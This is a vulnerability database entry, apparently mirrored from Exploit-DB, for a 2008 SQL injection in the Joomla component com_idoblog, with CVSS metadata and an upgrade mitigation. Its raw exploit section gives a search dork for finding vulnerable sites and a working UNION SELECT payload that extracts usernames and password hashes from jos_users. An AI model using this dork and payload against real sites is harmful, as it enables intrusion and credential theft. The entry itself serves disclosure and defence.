Joomla Component idoblog Remote SQL Injection

vendor:

com_idoblog

by:

His0k4

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: com_idoblog

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Joomla Component idoblog Remote SQL Injection

A vulnerability in the Joomla component com_idoblog allows remote attackers to execute arbitrary SQL commands via the userid parameter in a userblog action to index.php.

Mitigation:

Upgrade to the latest version of Joomla component com_idoblog

Source

Exploit-DB raw data:

#########################################################
#							#
#    Joomla Component idoblog Remote SQL Injection	#
#							#
#########################################################

########################################

[*] Founded by : His0k4 (Algerian HaCkeR);
[*] Contact:     His0k4.hlm[at]gmail.com
[*] Greetz :     All friends & muslims HaCkeRs  :) 
[*] Greetz2 :    http://www.palcastle.org/cc/  

########################################

[*] Script_Name: "Joomla"
[*] Component_Name: "com_idoblog"

########################################

[*] DORK: inurl:com_idoblog

########################################

[*] P.O.C : /index.php?option=com_idoblog&task=userblog&userid={SQL}
[*] Example: /index.php?option=com_idoblog&task=userblog&userid=<valid_userid> and 1=1 UNION SELECT user(),user(),user(),user(),user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user(),user(),user(),user() FROM jos_users--

########################################

# milw0rm.com [2008-06-03]